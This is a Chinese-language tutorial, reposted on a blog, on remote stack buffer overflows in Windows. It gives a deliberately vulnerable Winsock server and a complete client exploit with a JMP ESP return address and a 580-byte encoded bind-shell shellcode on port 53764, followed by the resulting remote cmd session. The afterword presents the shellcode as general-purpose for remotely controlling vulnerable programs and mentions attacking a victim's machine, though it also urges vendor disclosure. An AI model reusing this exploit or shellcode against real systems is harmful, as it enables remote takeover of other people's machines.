window系统下的远程堆栈溢出 --《实战篇》

下面是一个有问题的internet服务程序: /****************************************************************************/ /*    server.cpp By Ipxodi */ #include #include char Buff[1024]; void overflow(char * s,int size) { char s1[50]; printf("receive %d bytes",size); s[size]=0; strcpy(s1,s); } int main() { WSADATA wsa; SOCKET listenFD; int ret; char asd[2048]; WSAStartup(MAKEWORD(2,2),&wsa); listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(3764); server.sin_addr.s_addr=ADDR_ANY; ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); ret=listen(listenFD,2); int iAddrSize = sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); unsigned long lBytesRead; while(1)    { lBytesRead=recv(clientFD,Buff,1024,0); if(lBytesRead<=0)    break; overflow(Buff,lBytesRead); ret=send(clientFD,Buff,lBytesRead,0); if(ret<=0)    break; } WSACleanup(); return 0; } /****************************************************************************/ 函数Overflow有问题,看到了吗? 好,现在我们来写溢出攻击程序: 1)先算一下溢出(返回)地址应该在哪里? (:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了? :唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试, 现在原代码就放在你眼前,你自己算一下不就出来了?) 下面是溢出时刻堆栈布局: 内存底部                               内存顶部 buffer       EBP    ret <------   [NNNNNNNNNNN][N   ] [A   ]SSSS ^&buffer 堆栈顶部                               堆栈底部 可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是 52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。 2)再看看server里面LoadLibrary和GetProcAddress的地址是什么? 启动wdasm32,加载server.exe :004028EC 68F0014200              push 004201F0 * Reference To: KERNEL32.LoadLibraryA, Ord:01C2h | :004028F1 FF15E8614200            Call dword ptr [004261E8] 好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。 :00402911 51                      push ecx * Reference To: KERNEL32.GetProcAddress, Ord:013Eh | :00402912 FF15E4614200            Call dword ptr [004261E4] 好,KERNEL32.GetProcAddress的入口地址:0x004261E4。 这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案: 0xbb,0x99, 0xe8, 0x61, 0x42,   /* mov ebx, 004261E8h;(&LoadLibrary)           */ 0xc1, 0xeb, 0x08,              /* shr ebx, 08                     */ 以及 0xb3, 0xe4,                    /* mov bl, e4    &GetProcAddr      */ 3)写出client: /****************************************************************************/ /*    client.cpp By Ipxodi */ #include #include #define WIN2000 #ifdef WIN2000 #define JUMPESP "\x2a\xe3\xe2\x77" #endif #ifdef WIN98 #define JUMPESP "\xa3\x95\xf7\xbf" #endif unsigned char eip[8] = JUMPESP; unsigned char sploit[580] = { 0x90, 0x8b, 0xfc, 0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6, 0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb, 0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a, 0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56, 0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff, 0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50, 0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56, 0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4, 0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b, 0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47, 0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50, 0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0, 0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50, 0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1, 0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8, 0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33, 0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53, 0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac, 0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff, 0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1, 0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0, 0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 0x4b, 0x9d, //port=53764 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a}; int main() { WSADATA wsa; SOCKET sockFD; char Buff[1024],*sBO; WSAStartup(MAKEWORD(2,2),&wsa); sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); struct sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(3764); server.sin_addr.s_addr=inet_addr("127.0.0.1"); connect(sockFD,(struct sockaddr *)&server,sizeof(server)); for(int i=0;i<56;Buff[i++]=0x90); strcpy(Buff+56,(char *)eip); strcpy(Buff+60,(char *)sploit); sBO = Buff; send(sockFD,sBO,56+4+560,0); closesocket(sockFD); WSACleanup(); return 1; } /****************************************************************************/ 运行server,然后运行client.之后,telnet localhost 53764,看到了什么? Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-1998 Microsoft Corp. D:\MyProjects\server>dir dir 驱动器 D 中的卷没有标签。 卷的序列号是 3C2F-72BB D:\MyProjects\server 的目录 2000-04-26  17:52 . 2000-04-26  17:52 .. 2000-04-25  11:17 Debug 2000-04-23  20:23                3,288 server.001 2000-04-25  11:16                  926 server.cpp 2000-04-25  10:33                3,325 server.dsp 2000-04-25  10:33                  535 server.dsw 2000-04-26  17:52               41,984 server.ncb 2000-04-26  17:52               49,664 server.opt 2000-04-25  11:24                  509 server.plg 7 个文件        100,231 字节 3 个目录  8,688,173,056 可用字节 D:\MyProjects\server> 呵呵,大功告成。 ----后记 大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。 使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。 实现对任何已知存在缓冲区溢出问题的程序的远程控制。 事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的 有问题代码。这本身就可以单开一讲来详细阐述。 windows下的Cracker们,你们的破解跟踪技术将在这个领域 得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列 windows缓冲区溢出漏洞。 上面所示的,只不过是一个实验用的server程序,事实上, 我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。 当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时, 真是一切尽在掌握。我心中想的,就是: windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了! 因为上述程序的攻击性太强,我就不公布原代码了,我希望 如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商, 等待patch出来后,再公布你们的溢出程序。 因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。 ----参考书目: 0)ipxodi 《window系统下的堆栈溢出》IsBaseMagzine 20003。 1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。 2)Backend的《Windows 2000缓冲区溢出入门》 IsBaseMagzine 20004。 3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译) ----致谢 要致谢的人很多: dark spyrit,为你的天才和无私,向你致敬。 感谢绿盟的Backend,Yuange,Zer9,为你们的研究成果和给我的无私帮助, 当然还有绿盟的tt,deepin,为你们在攻击实践上给我的帮助。 感谢所有帮助和激励过我的人。
posted @ 2012-07-15 23:13  adodo1  Views(180)  Comments(0Edit  收藏  举报